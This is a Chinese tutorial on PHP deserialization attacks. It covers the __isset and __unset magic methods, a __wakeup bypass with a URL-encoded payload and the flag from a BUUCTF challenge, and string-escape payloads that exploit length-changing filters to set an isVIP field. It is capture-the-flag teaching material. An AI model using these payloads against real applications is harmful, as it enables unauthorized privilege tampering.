前言
属性特征 : 是指php的类定义除了 public(公共属性)还有 protect(受保护的属性) 和private (私有属性)
特征:
public(公共的):在本类内部、外部类、子类都可以访问
protect(受保护的):只有本类或子类或父类中可以访问
private(私人的):只有本类内部可以使用
显示 :(显示不同的目的就是为了让 反序列化 进行识别他是什么类型的属性)
public正常显示
protect 显示的特征就是 %00 %00 就是有空格掺杂
private 显示特征就是 xxx *
<?php //public private protected说明
class Atest{public $name="xiaodi";private $age="31";protected $sex="man";
}
$a=new Atest();
$a=serialize($a);
print_r($a);?>
续上文介绍 剩下2个高频 魔术方法
1、__isset() 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{public $sex; //公共的private $name; //私有的private $age; //私有的public function __construct($name, $age, $sex){$this->name = $name;$this->age = $age;$this->sex = $sex;}// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。public function __isset($content){//echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";echo "123<br>";return isset($this->$content);}
}$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
// echo isset($person->name),"<br>";
// echo empty($person->sex),"<br>";
// private 成员
isset($person->name);
empty($person->age);
2、__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
上边这两个其实都是对不可方法变量的操作
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{public $sex;private $name;private $age;public function __construct($name, $age, $sex){$this->name = $name;$this->age = $age;$this->sex = $sex;}// __unset():销毁对象的某个属性时执行此函数public function __unset($content) {echo "这是个私有变量".$content."<br>";//echo isset($this->$content)."<br>";}
}$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset
CVE(__wakeup逃逸)(以buuctf中的[极客大挑战 2019]PHP)
有个提示是 这个网站是有备份文件的 所以直接访问 www.zip
解压一下使用vscode打开: 打开index.php 寻找信息
因为包含了一个 class.php 所以推测pop应该是从 class.php内获取
新建一个pop.php
先了解一下 wakeup的基本使用(当 unserialize 被调用是会先使用它来进行数据的初始化)
他的作用是初始化数据
运行下面代码
<?php
class Www{public $name='xiaodi';public function __wakeup(){echo "222";$this->name = 'nJohn';}
}
$x=new Www();$xx=serialize($x);
$xxx=unserialize($xx);
var_dump($xxx);
?>
构造pop
O:5:"Names":2:{s:15:"Namesusername";s:5:"admin";s:15:"Namespassword";i:100;}
但是wakeup的绕过就是把对象的数量大于实际的数量就会不执行 wakeup
url编码一下传给 ?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
flag{c1c757b6-9d95-4bd0-bbf4-a2f6ad314d9b}
字符串的逃逸
是什么事字符串的逃逸? :字符串的逃逸就是为了绕过一下过滤性的waf
简单的演示
对替换的进行反序列化 输出失败
原因 : 因为序列化被修改但是他的字符数不会被修改
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
看一下hacker是6位数 而序列化之后是 5位的显示 所以才会导致的这个时候就需要我们进行 字符串的逃逸
看个本地的demo
1\字符串加位逃逸
<?php
class user
{public $username;public $password;public $isVIP;public function __construct($u, $p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}function login(){$isVip=$this->isVIP;if($isVip==1){ //因为这个的判断只有一个所以 只要让 isvip=1 就能执行 flag is niubi echo 'flag is niubi';}else{echo 'fuck';}}}function filter($obj) {return preg_replace("/admin/","hacker",$obj);
}//你必须输入admin
////$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";//$u='admin';
//$p='123456';//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));$obj=$_GET['x'];
if(isset($obj)){$o=unserialize($obj);$o->login();
}else{echo 'fuck';
}
知道之后 进行pop的构造只把需要的留下
<?php
class user
{public $username='admin';public $password='123456';public $isVIP='1';public function __construct($u, $p){$this->username = $u;$this->password = $p;$this->isVIP = 1;}
}function filter($obj) {return preg_replace("/admin/","hacker",$obj);
}
$u='admin';
$p='123456';
$obj = new user($u,$p);
echo serialize($obj);
分别输出出 1、原本的 2、替换后的
原
O:4:"user":3:{s:8:"username";s:5:"我们的输入";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
现在的
O:4:"user":3:{s:8:"我们的输入";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
发现hacker 是 6个字符 却被序列化为 5 这样就会让替换之后的 多很多字符 那该怎么办? 涉及到占位问题 就是hacker会多占位
输入一个 admin 会多占位一个 我们把username 写为 : 47个admin (这个是有admin后边的位数决定的) 这个时候替换会多出 47个 r 我们输入的后边 有多余的 47位可以代替 被替换的 来补全
admin = 5
5 * 47 + 47
47个admin 正好加上 后边的47位 和下边的相等 这样实现字符串的逃逸
可以理解为 47 和 6 的公倍数 遇见 就可以写为 寻找要构造的数后边的多余为 和要替换数的字符数的公倍数 这个只适用于 多一个字符的替换
47个 admin全部替换掉为 hacker
hacker=6
6 * 47
最后的paylaod :
$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}'
这个的原理就是使用了 admin 替换为 hacker 让后边加上原来admin 就有的内容
2\字符串减位逃逸
字符的减位和加位完全为两个逻辑
上边 位多了 我们就把username 加到 和下边一样
减位的话 就需要让位 让我们的输入也变少 和少到和下边一样
本地demo源码
<?php
class user
{public $username;public $password;public $isVIP;public function __construct($u, $p){$this->username = $u;$this->password = $p;$this->isVIP = 0;}function login(){$isVip=$this->isVIP;if($isVip==1){echo 'flag is niubi';}else{echo 'fuck';}}
}function filter($obj) {return preg_replace("/admin/","hack",$obj);
}//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));$obj=$_GET['x'];
if(isset($obj)){$o=unserialize($obj);$o->login();
}else{echo 'fuck';
}
还是先获取 替换前和 之后的 序列化内容
原:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
现:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样
发现是22 位
上一个我们修改的是 username 这一关我们需要修改password 把 password 修改为和下边一样、
username 生成 22个admin 会使得下边少 22位 我们让 password= ";s:8:"password";s:6:" 从而是上下一致
paylaod
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
进行反序列在url编码 成功出flag
因为判断是 isvip 所以只要 isvip=1 就能实现
综合
技巧 :增找末尾相同的个数位 进行上下一致的补位(末尾部分的补位) 这个只补 admin
减找中间的相同位数 让admin和password共同构造和下边一样的payload(中间部分的双写)